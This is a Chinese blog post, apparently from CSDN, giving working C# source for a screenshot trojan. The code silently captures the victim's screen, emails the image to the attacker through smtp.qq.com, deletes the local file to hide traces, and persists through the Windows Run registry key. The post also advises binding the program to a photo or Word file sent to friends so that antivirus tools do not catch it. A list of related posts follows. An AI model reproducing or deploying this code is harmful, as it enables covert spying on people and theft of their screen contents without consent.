c#截屏木马,发送到邮箱
写在前面
技术本无罪,只是人性恶。我学习伤人技,只是为了不被人伤,而不是为了伤人。
本来是在研究外挂的,但是一不小心技能点点歪了,不过影响也不大,木马跟外挂本来就有很多共通之处。废话说完,进入正题:
我的思路如下:
1、截取屏幕,保存图片
2、装入邮件,发送
3、删除图片,毁尸灭迹
4、自启动
先来第一步:获得截屏图片(啊啊啊啊啊啊,好早就想这样不按格式来,可是他们老是说要注意格式!)
需要用到win32 api的函数:
调用命名空间:using System.Runtime.InteropServices;
[DllImport("user32.dll")]static extern IntPtr GetDC(IntPtr ptr);[DllImport("gdi32.dll")]static extern int GetDeviceCaps(IntPtr hdc, // handle to DCint nIndex // index of capability);[DllImport("user32.dll", EntryPoint = "ReleaseDC")]static extern IntPtr ReleaseDC(IntPtr hWnd, IntPtr hDc);int DESKTOPVERTRES = 117;int DESKTOPHORZRES = 118;
这个是用来获取屏幕实际分辨率的
Size size = new Size();/*获取DPI大小*/IntPtr hdc = GetDC(IntPtr.Zero);size.Width = GetDeviceCaps(hdc, DESKTOPHORZRES);size.Height = GetDeviceCaps(hdc, DESKTOPVERTRES);ReleaseDC(IntPtr.Zero, hdc);imagescreen();//截图
有些人用Screen.PrimaryScreen.Bounds.Width和Screen.PrimaryScreen.Bounds.Height,这两个是屏幕的大小,但是有些电脑(如手提电脑)屏幕大小跟分辨率不一样,接取出来的图不完全而且模糊。
截图函数:
Bitmap image = new Bitmap(size.Width, size.Height);//初始化图片Graphics g = Graphics.FromImage(image);//调用g.CopyFromScreen(0, 0, 0, 0, new Size(size.Width, size.Height));//截取ImageFormat imgft = ImageFormat.Jpeg;//类型image.Save(filePath, imgft);//保存
第二步:装载邮件,发送
需要两个邮箱,嘿嘿
命名空间:
using System.Drawing.Imaging;
using System.IO;
using System.Net;
using System.Net.Mail;
//QQ邮件发送代码测试成功using (SmtpClient client = new SmtpClient("smtp.qq.com", 25)){//SSl加密连接开启client.EnableSsl = true;//用户名、密码(进入QQ邮箱网页版->设置->账户->POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务->登录第三方客户端时`密码框请输入"授权码"进行验证`生成授权码->生成授权码)client.Credentials = new NetworkCredential("123456789", "abcdefghijklmnop");//两个参数,第一个是qq号码,第二个是授权码using (MailMessage mail = new MailMessage()){//邮件发送人mail.From = new MailAddress("123456789@qq.com");//邮件接收人mail.To.Add(new MailAddress("987654321@qq.com"));//Html格式mail.IsBodyHtml = true;//设置邮件优先级mail.Priority = MailPriority.High;//邮件主题mail.Subject = "屏幕截图!";//邮件正文mail.Body = @"获取大成功!<br>666";string file = filePath + "textXML.xml";Attachment fujian = new Attachment(filePath, System.Net.Mime.MediaTypeNames.Application.Octet);System.Net.Mime.ContentDisposition disposition = fujian.ContentDisposition;disposition.CreationDate = System.IO.File.GetCreationTime(file);disposition.ModificationDate = System.IO.File.GetLastWriteTime(file);disposition.ReadDate = System.IO.File.GetLastAccessTime(file);mail.Attachments.Add(fujian);//发送邮件client.Send(mail);//Console.WriteLine("发送成功");
别的邮箱要改一下网址
发送完成后毁尸灭迹
File.Delete(str);
在接下来就是自启动
来自:
作者:senblingbling 来源:CSDN 原文:https://blog.csdn.net/senblingbling/article/details/50609237 版权声明:本文为博主原创文章,转载请附上博文链接!
自启动普遍使用的5、6种方法几乎没有不被360拦截的。
注册表你想写就被拦截,要么插入explorer,拦截。放在自启动目录,太低级了吧,msconfig一下就看到就关掉了,还会被电脑优化速度优化掉。。。。
但这里还是要提供一下代码:
写注册表的方法:
public void SetAutoRun(string fileName, bool isAutoRun)
{ RegistryKey reg = null; try { if (!System.IO.File.Exists(fileName)) throw new Exception("该文件不存在!"); String name = fileName.Substring(fileName.LastIndexOf(@"\") + 1); reg = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); if (reg == null) reg = Registry.LocalMachine.CreateSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run"); if (isAutoRun) reg.SetValue(name, fileName); else reg.SetValue(name, false); lbl_autorunerr.Visible = false; } catch { lbl_autorunerr.Visible = true; //throw new Exception(ex.ToString()); } finally { if (reg != null) reg.Close(); }
}
使用的时候,直接调用SetAutoRun函数即可,这里解释一下两个参数的含义:
fileName:需要设置自动启动程序的路径,若为当前程序可直接传递Application.ExecutablePath。
isAutoRun:是否自动运行,为false时,取消自动运行。
例: SetAutoRun(Application.ExecutablePath, true); //设置自动启动当前程序
SetAutoRun(Application.ExecutablePath, false); //取消自动启动
自启动方法还有很多,大家可以查询,但是普遍不实用啊!比如插explorer,这种桌面进程太敏感,被病毒用得不爱用的,早就被各种防御软件盯得紧紧的!
为了让程序更顽强,我们可以给客户端加上双进程保护,加上U盘自启动,并让程序自动复制到所有的盘符目录下等等。
这里要提一下,我个人觉得最好用的方法吧,就是把该客户端捆绑到某个文件或者程序上,而不要设置自启动了,因为过不去360。比如用捆绑机把客户端捆绑到一张照片上或者word上发给你的好友,然后就在服务器打开服务端静静滴等待!所有杀毒软件都没用!亲测!
链接到这上面都是大神的原话,我懒得修改了。
运行后就可以在接收人邮箱上看到截屏图了。
自启动部分只是稍微尝试了一下,并没有深层尝试(那几种方法已经比较老了,懒得再研究),说到底我本质还是一个四有青年、公德良民,制造真正木马这种事我还是很羞涩的!
以上,完!
c#截屏木马,发送到邮箱相关推荐
- 简单截屏恶搞程序(客户端+服务端)
高手请飘过,仅供小朋友交流. 下载程序 是可执行程序,想看源代码劳驾反编译下. 仅供娱乐恶搞使用:在服务器(IP要求:192.168.1.110)上执行watcher.exe,如果会反编译的话改自己的 ...
- 推荐几款隐身后台自动截屏软件
目录 一.背景 二.定时执行专家 三.Snipaste 命令行截图 四.Screenmonitor 一.背景 很多的公司白领.做程序开发的码农.学校的老师和学生,每天都要在电脑前工作好久,时光流逝的悄 ...
- Screenmonitor(全自动截屏软件)
一.软件功能简介: Screenmonitor(自动截屏)软件是一款自动截屏软件,实现电脑屏幕的实时监控,后台静默运行. 软件功能如下: 1.定时截屏,间隔时间由用户自定义或用默认值:截屏生成图象格式 ...
- 滚动截屏苹果_苹果全球开发者大会最全汇总:平板推独立系统 两款新硬件亮相...
点击上方"腾讯科技",选择"置顶公众号" 关键时刻,第一时间送 四分钟看完WWDC大会:苹果同时推新系统与硬件 来源 / 腾讯数码(ID:qqdigi) 欢迎下 ...
- python 截屏 自动发送邮件 实现远程监控屏幕
1.python截取屏幕 通过PIL ImageGrab包截取屏幕 from PIL import ImageGrab from io import BytesIO import time impor ...
- golang实现服务端浏览器截屏
" 每天,探索一点点." 笔者近期在使用golang进行开发工作时,受360技术公众号曾发布过文章的启发,想到是否可以使用golang操作无屏浏览器(headless browse ...
- golong实现服务端浏览器截屏
笔者说:近期在使用golang进行开发工作时,受360技术公众号曾发布过文章的启发,想到是否可以使用golang操作无屏浏览器(headless browser)实现诸如爬虫.截屏.自动化测试等功能. ...
- js截屏代码_JavaScript网页截屏方法,你get到了嘛?
之前我曾写过如何将canvas图形转换成图片和下载canvas图像的方法,这些都是在为这个插件做技术准备. 技术路线很清晰,将网页的某个区域的内容生成图像,保持到canvas里,然后将canvas内容 ...
- 如何以编程方式在Android上截屏?
如何通过代码而不是通过任何程序来截屏电话屏幕的选定区域? #1楼 Mualig的回答很好,但是我遇到了Ewoks描述的相同问题,但我没有得到背景知识. 因此,有时足够好,有时我会在黑色背景上出现黑色文 ...
最新文章
- 哈佛大学 NLP 组开源神经机器翻译系统 OpenNMT
- NanoDet:轻量级(1.8MB)、超快速(移动端97fps)目标检测项目
- setTimeout setInterval
- java笔记之线程方式1启动线程
- scss-@for 指令
- 面对SDN/NFV部署挑战 网络厂商能做什么?
- java mvc 导出excel_Java springMVC POI 导出 EXCEL
- Linux云自动化运维第三课
- codeforces-constructive algorithms(构造算法.)
- 3S基础知识:MapX应用讲义—加载地图数据
- 【经典算法实现 14】阿克曼函数(手动推导求解、递归实现、非递归实现)
- FLASH中打开网页链接,本地打不开的问题。
- 平面中判断点在三角形内算法(重心法)
- 【第4篇】人工智能(AI)语音测试原理和实践
- EDGE浏览器打开网页缓慢解决
- Qcon演讲纪实:详解如何在实时视频通话中实现AR功能
- 深耕一线14年,见证云计算风起云涌
- 【解决方案】EasyCVR安防视频云服务城市污水处理厂解决方案
- Node.js中实时显示下载进度并解压文件
- pd.concat实现数据合并